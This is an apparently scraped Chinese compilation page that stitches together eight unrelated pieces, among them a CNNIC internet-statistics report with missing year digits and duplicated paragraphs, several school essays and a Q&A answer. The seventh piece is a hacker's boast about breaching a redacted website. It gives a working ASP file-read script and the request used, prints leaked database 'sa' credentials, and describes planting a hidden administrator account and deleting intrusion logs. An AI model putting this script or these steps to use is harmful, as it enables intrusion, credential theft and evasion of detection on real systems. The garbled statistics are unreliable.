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网民再突破:我知道的是4.8亿,发布的数字是4.5亿

2022-05-28 04:41:35 收藏本文 下载本文

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网民再突破:我知道的是4.8亿,发布的数字是4.5亿

篇1:网民再突破:我知道的是4.8亿,发布的数字是4.5亿

1月19日,中国互联网络信息中心(CNNIC)发布了《第27次中国互联网络发展状况统计报告》,公布了中国互联网发展状况的最新统计数据,

新的数据显示,截止到12月底,我国网民规模达到4.57亿,20全年网民数量增加7330万人,增幅近20%。互联网普及率超过三分之一,比底的28.9%提升为34.3%。

其中手机网民的总数,及占总网民数量的比例分别提升,在4.57亿网民中,共有3.03亿人通过移动终端访问互联网,是拉动中国总体网民规模上升的主要动力。

在互联网应用中,娱乐类应用表现出明显的下滑趋势,而电子商务相关的应用正在以近50%的增长率成为我国互联网经济中发展最迅速的部分,

从统计数据来看,网络购物用户年增长了48.6%,网银和第三方支付增长率分别为48.2%和45.8%。同时搜索引擎已经成为网民最常使用的应用,传统门户网站地位有所降低,搜索引擎正在形成“新门户”格局。

1月19日,中国互联网络信息中心(CNNIC)发布了《第27次中国互联网络发展状况统计报告》,公布了中国互联网发展状况的最新统计数据。

新的数据显示,截止到2010年12月底,我国网民规模达到4.57亿,2010年全年网民数量增加7330万人,增幅近20%。互联网普及率超过三分之一,比20底的28.9%提升为34.3%。

其中手机网民的总数,及占总网民数量的比例分别提升,在4.57亿网民中,共有3.03亿人通过移动终端访问互联网,是拉动中国总体网民规模上升的主要动力。

在互联网应用中,娱乐类应用表现出明显的下滑趋势,而电子商务相关的应用正在以近50%的增长率成为我国互联网经济中发展最迅速的部分。从统计数据来看,网络购物用户2010年增长了48.6%,网银和第三方支付增长率分别为48.2%和45.8%。同时搜索引擎已经成为网民最常使用的应用,传统门户网站地位有所降低,搜索引擎正在形成“新门户”格局。

篇2:我是再生水

嗨,大家好!我是你们的新朋友再生水,学名叫中水,就是通过工业化的污水处理手段,把城市废水:比如你们生活使用的废水,工商服务业废水重新处理成为可以再次利用的水资源。

多亏了你们人类,才使我这个处处污染环境令人讨厌的污水重新找回了自我。我们经过净化处理,水质得到改善,达到了国家城市污水再生利用的标准,这样,就可以在一定范围内使用了。但是,你要千万记住:我们再生水可不能直接饮用!要达到人类能够饮用的标准,处理费用将大大增加,那就太不划算了。

你看:在旅游景点,那喷起的水柱,是我们再生水在做表演在公园绿化,那闪着银光的露珠,是我们再生水的笑脸在建筑工地,那水泥、砖瓦的好朋友,就是我们再生水。

午夜后的街道上,喷水车带领我们去清洁每条马路、每个街巷排满车队的洗车场里,洗车机带领我们将一辆辆车冲洗干净机器轰鸣的工厂内,各种各样的机器带领我们生产出人类需要的工具。

其实,我们再生水还可以同人类做更好的朋友:在寒冷的冬季,我们可以流进暖气管道为居民和单位输送再生水。如果暖气所用的循环水都改用再生水的话,我们可要为你们省下一大笔费用。到了炎热的夏天,你们只要在现有的暖气管道上增加水表和相应的节门,还能够使用我们再生水去冲洗厕所、浇花、拖地板等等,而且还有利于降低室内温度呢。

我的祖先dd那些独占地球总面积71‰的无色无味无形的纯净水已经越来越少了,特别是你们北京,是一个人口密集的大城市,随着城市的快速发展,水资源的紧缺已经成为你们面临的最重要问题。XX年奥运会就要来临,要办成绿色奥运,可不能离开水:水,宝贵的水,还有我们再生水,都会为奥运尽职出力。

真是太感谢你们了,听说最近几年,人类还要给我们建立新家,在未来五年内将建成11座污水处理厂,建设16座深度处理厂或叫做再生处理厂,总的深度处理能力将达到60万吨/天以上,并配套建设回用水供水干线约447公里。通过“空气连续流微滤系统”,使我们再生水水质完全达到国家再生水标准。到那时,不仅所有的园林、绿地、冲厕、洗车、农田灌溉、地面冲洗及工业冷却水等都能有我们帮忙,而且还可以节约大量资金。就拿冲厕用水来说,日积月累,就会给市民省下不少钱。如果全部用我们再生水代替自来水和工业用水,那么仅一天就能节省6-20万元的水费,一年下来产生的经济效益太可观了。

不要忘记,我们再生水还有很多毛病:比如对景观植物、人类健康、土壤条件的破坏。你们人类一定要把我们分为两类,一类为人体非全身性接触的娱乐性景观水体,另一类为人体非直接接触的观赏性景观水体,把我们用在不同地方。

赶快认识我们这些新朋友吧,把我们再生回用,替代大量优质地下水,成为北京的“第二水库”,成为缺水的北京的第二水资源。

篇3:我是一个小小网民作文

我是一个小小网民。我虽然年龄小,但网龄却不短,可以称得上是网络“大虾”了。现在,请你们见识一下我是如何从一个一窍不通的“菜鸟”,成为一个地地道道的网络“大虾”的。

在电脑进入我家之前,我们一家三口常常为电视的遥控权争夺不休。自从家里来了这位方头方脑的新朋友---电脑之后,爸爸就沉醉于其中。到底它有什么魔力呢?我心痒痒的,好奇极了,真想进入它的世界,看看究竟有什么奇妙之处。可是大人们连碰也不让我碰,还说玩电脑会影响学习。哼!真是危言耸听!一天,爸爸妈妈都不在家,哈哈,机会来了!我迫不及待地来到这个“新宠”面前,学着爸爸的样子打开INTERNET浏览器,这点点,那点点。咦,电脑屏幕上出现了“好123网址之……实用”,我“啪啪”双击一下鼠标,呵,新浪、搜狐、百度……好多耳熟能详的名字。再点击新浪,里面出现许多新闻、车市、娱乐、读书、游戏,总之是应有尽有。看了一会儿,我有点不耐烦了,不停地按着鼠标,一下子打开了十几个网页。突然,屏幕上的.箭头一动不动,任我怎么晃动鼠标,它就是不理睬。糟糕,这可怎么办呢?爸爸回来后肯定会批评我,我急得坐立不安,不知道如何是好,正在我不知所措的时候,爸爸回来了。我忐忑不安地把实情告诉了爸爸,爸爸慈爱地看着我说:“不是不让你玩,只是因为你年龄小,玩的时间长了会伤害眼睛的。既然你如此好奇,那我就教你一些基本知识,电脑就像人脑一样,同一时间接收太多信息,系统就会混乱,严重的就会彻底瘫痪。现在我介绍两个适合你的网站。”只见爸爸娴熟地打开“逸海书城”“上海网上天文台”......哇噻,这儿的吸引力更大,我完全被迷住了。可是过了一会儿,眼睛干干的,真的有点疼,只好下来了。从那以后,只要一有空,我就进入这神奇的网络世界里遨游。这张无形的神奇网络让我学到了许多新知识,大大地开拓了我的视野,增强了我学习的积极性与主动性。不久前,我们学习“大瀑布的葬礼”这篇课文,老师让我们查找有关资料。我熟练地在“百度”里搜索,轻轻一按鼠标,所需资料就全部搞定,看着这些收获,我兴奋不已,它可真是我学习的好帮手!

妈妈见我沉迷于网络,有些担心,向我发出了警告:“你可是个学生,要以学习为主,不可玩物丧志,深陷其中,千万不能成网虫。”我一吐舌头,点头称是。

想当初我是一个一窍不通的“菜鸟”,现在可成为一个地地道道的小网民了。网络,你真是我的良师益友。

篇4:我是一个小小网民作文

随着科技的发展,网络进入千家万户,它为人们的衣食住行提供了方便。然而,祸福相依,在这同时,也出现了许多网瘾孩子。

据调查显示,近九成的孩子在暑假以网络为主要的娱乐方式,通宵达旦地上网。更有甚者,为逃避家长的责骂,不惜离家去网吧等环境恶劣的地方上网,甚至达到了不眠不休的地步。以至于家长一到暑假,或寒假就提心吊胆,四处找孩子。这些行为严重影响到了青少年的身心健康。

虽然,网络的存在使得青少年更富有创新精神,可以开阔眼界,放松心情,学习新知识,结交新友。可以锻炼我们的反应能力和灵活性,丰富我们的课余生活。可以促进青少年个性化发展,消除心理障碍,减轻课业负担所造成的压力,对学习也有很大的帮助。

但是,如果自己的控制能力太差,就会沉迷于网络,不可自拔,后果很严重。浪费钱财,学业荒废,甚至会走上犯罪的道路。不仅是心理方面,网络对于身体健康也有极大影响。

在网吧上网,由于网吧通风设备差,加之长时间玩一些惊险刺激的游戏,超出心脏的负荷,使青少年容易窒息,甚至猝死,这样的例子数不胜数。在家里上网,电脑所发出的辐射对人体有着极大的危害。并且长期盯着电脑屏幕,容易使视力大幅下降,形成“鼠标手”。

所以,网络的存在对青少年来说,弊利相当。

一些学生解释,他们上网是因为网络具有许多新鲜事物,能给予他们刺激与新鲜。不可否认,网络的确具有许多新鲜事物,但是,这些新鲜事物中往往包含了致命的危险,给青少年以不正确的引导,也因此网络成为青少年犯罪因素的榜首,因网络而犯罪的青少年比率逐年上升。家长都表示对学生沉迷于网络有着极大的担忧,但大部分家长却对此毫无办法,只能眼睁睁看着孩子一点点沉迷于网络这个泥潭。有位家长曾说,他用过强制方法,希望孩子远离网络,但没想到效果却适得其反,原本是不逃课的,现在甚至逃课去上网,加快了孩子沉沦的速度。

我觉得,青少年上网并不是一件坏事,不能使青少年一点也接触不到网络,从而跟不上时代的脚步,不能因为网络的弊而抹杀了它的利,也不能因为它的利而看不到它的弊。

在此,我想劝诫青少年朋友,远离网络不良内容,自觉节制上网,不沉迷于网络游戏,限制上网时间,做一个文明的网民。

篇5:我知道什么是热胀冷缩作文

我知道什么是热胀冷缩作文

妈妈煮好了鸡蛋,把我叫来看:一个泡在冷水里一会儿捞出来,一个放在碗里。我问妈妈:“你在干什么?”妈妈说:“我们今天做个实验,认识一下什么是热胀冷缩。”我拍手赞同。

我把鸡蛋放到桌子上,妈妈先把放在碗里的鸡蛋给我剥,我在桌子上磕了一下,然后很高兴的剥起来。可是却很难剥,而且剥掉的鸡蛋壳里还带有很多白色的蛋白。妈妈又把在冷水里泡过的'鸡蛋给我剥,我三下两下就剥好了,而且剥好的鸡蛋表面光滑雪白,我对妈妈说:“这个鸡蛋真好剥,为什么呀?”妈妈说:“你先想想看,我们平时烧开水时,如果把水壶灌的太满,水开了以后会怎样?”我说:“水当然就会冒出来。”妈妈夸奖我说:“真聪明!回答正确!”“想知道为什么吗?”妈妈逗我说。我点头表示同意。

妈妈告诉我:“因为水受热后,体积变大,所以就冒出来了。很多物体受热后体积都会增大,而受冷后体积就会缩小,这就叫热胀冷缩。热的鸡蛋放到冷水里,蛋壳和蛋白都要收缩,但蛋白比蛋壳收缩得要厉害些,这样,蛋壳和蛋白就离开了,所以剥皮就很容易了,就不会占掉蛋白了。

我终于明白了其中的道理,热胀冷缩的原理还真神奇呀!

篇6:什么是社会实践?我是中学生……-百度知道

什么是社会实践?我是中学生……-百度知道

教育是学生在课余的时候参加的社会学习活动。 什么志愿者啦,公司参观啦,等等,很多了。 下面是比较正式的说法: 社会实践活动是青年学生按照学校培养目标的要求,利用节假日等课余时间参与社会政治、经济、文化生活的教育活动。社会实践活动的主要特点是: (一)它是一种教育活动,是有中国特色的社会主义高等教育的一个有机组成部分。我国高等学校的目标是培养社会主义事业的建设者和接班人。这样的人才,要有坚定正确的政治方向,坚实的科学文化基础,还要有劳动观点和实际动手能力。而要做到这一点,对学生的培养过程不仅要有理论教学的环节,还要有实践环节。社会实践活动通过使学生参与社会生活,可以使学生丰富对国情的感性认识,加深对社会、对人民群众的了解,从而增强拥护和执行党的基本路线的`自觉性;可以使学生在接触实际的过程中巩固和深化课堂知识,锻炼和增强解决实际问题的能力。 (二)它在组织学生参与社会生活的过程中达到教育的目的,是以学生亲身参与为主要教育途径的特殊教育形式。社会实践活动的教育目的是使学生在实践中受到教育,增长知识和才干,离开了学生对社会生活的亲身参与,就无所谓“实践”,也无从达到社会实践活动的教育目的。社会实践活动的这个特点,决定了我们在开展社会实践活动中,必须充分调动学生的积极性,必须使学生实际地参与到社会的政治、经济、文化生活中去,而不是社会生活的旁观者。 (三)它是在课余时间进行的特殊教育活动,是教育实践环节的必要补充。同教学实习不同,社会实践活动主要在教学计划外的课余时间进行,而前者则在教学计划内进行,是课堂教学的延伸。之所以必须在教学计划外开展社会实践活动,一是由于学制、理论教学任务繁重等方面的原因,教学计划内安排的实践环节时间有限,难以完全达到实践环节教育的目的;二是社会实践活动的教育内容、方法、途径也不同于教学计划内的实习,具有特殊的教育作用。

篇7:我是如何突破一流检测系统的

作者: laoguier

来源: www.hackbase.com

攻击目标:www.***.com

测试过的动作,一句话马,加密马,等,

测试结果:无效,无法上传,无法进入系统。

经过2天的分析,

然后自己搞出了一个代码,利用此代码读取了该网站下的config.asp文件源代码

-------------------------------------------------------------------------

<%

file=Request(”file“)

Set FSOOBJ=Server.CreateObject(”Scripting.FileSystemObject“)

if FSOOBJ.fileExists(file) then

Set myfile=FSOOBJ.opentextfile(file,1)

Response.write ”

“ & server.HTMLEncode(myfile.readall) &”

myfile.close

Set myfile=nothing

else

Response.write ”file(“ & file & ”) not exists."

end if

%>

-------------------------------------------------------------------------

www.***.com/view.asp?file=D:wwwrootindex.asp

读取到的敏感内容

sql地址:***.***.***.***

帐号:sa 密码:u8f2444f

利用此帐号进入后,建立了123$的隐藏管理员用户,删除入侵日志后退出,

篇8:不必知道我是谁小学生作文

不必知道我是谁小学生作文

从不曾敞开心扉的我,这一天,为你开启了这扇窗。

老师,你可以叫我小米哦!这样,我们的距离拉近,心也就会靠近了!

小米有好多好多的秘密想和您分享,作为朋友的您不会拒绝,也不舍得拒绝,这点,小米是坚信的!

小米其实真的不知道该如何向你来介绍自己,因为小米本来就是一个矛盾体。

小米有时会很神经质的为旁人的一句话而大笑半天;又会独自的仰望着星空,想着遥不可及的事情,然后,落下泪水;甚至会突然变得沉闷,冷漠的令人颤心。但是,小米却不曾将内心的悲伤倾诉给他人听。小米总是每天保持着灿烂的微笑,大声的说话,快速的奔跑,哪怕将教室弄得七零八落,同学整的火冒三丈,然后被指着鼻子大骂,小米都不曾落泪,不是不在乎,不是不伤悲,而是小米不想失去朋友。不想让他们因上课而变得沉闷,因形象而变得刻意伪装,小米只是想让他们处于一个轻松的学习环境中,只是想让他们快乐!

但是,小米突然发现自己好傻,真的,傻得真心实意去付出,却遭白眼,冷落;傻得渲染气氛,让他们开心,到头来换取的只是鄙夷的目光。小米,是不是真的真的太傻了~!

上天爱笨小孩,他眷顾小米,给了她朋友。可是,哪一个是建立在友谊之上的呢!所以,小米,这次累了。累得不想在积极主动,小米想好好休息一回了。或许,一晃而过,又是灿烂的!

小米真的很怪,开放、爽朗、虚荣、善良,似乎想碰的词语,都能体现在小米的身上。小米懂得掩饰创伤,懂得痛的时候,落寞的在黑暗中让泪水肆意的.流淌,然在再一点一点的舔干伤口。小米,其实,真的不坚强,笑容的背后那一道道心口上的裂痕,又有谁体会得到呢?

小米,这次不想再付出了,一切随缘吧。或许,多少个岁月过去,小米才是他们印象中最深刻的呢!

老师,小米倾诉完了,小米将不再是那个消沉的小米,小米会是一个坚强沉稳的姑娘,所以,小米不需要老师您的安慰,因为您会相信您的朋友的毅力,并不逊色,不是吗?

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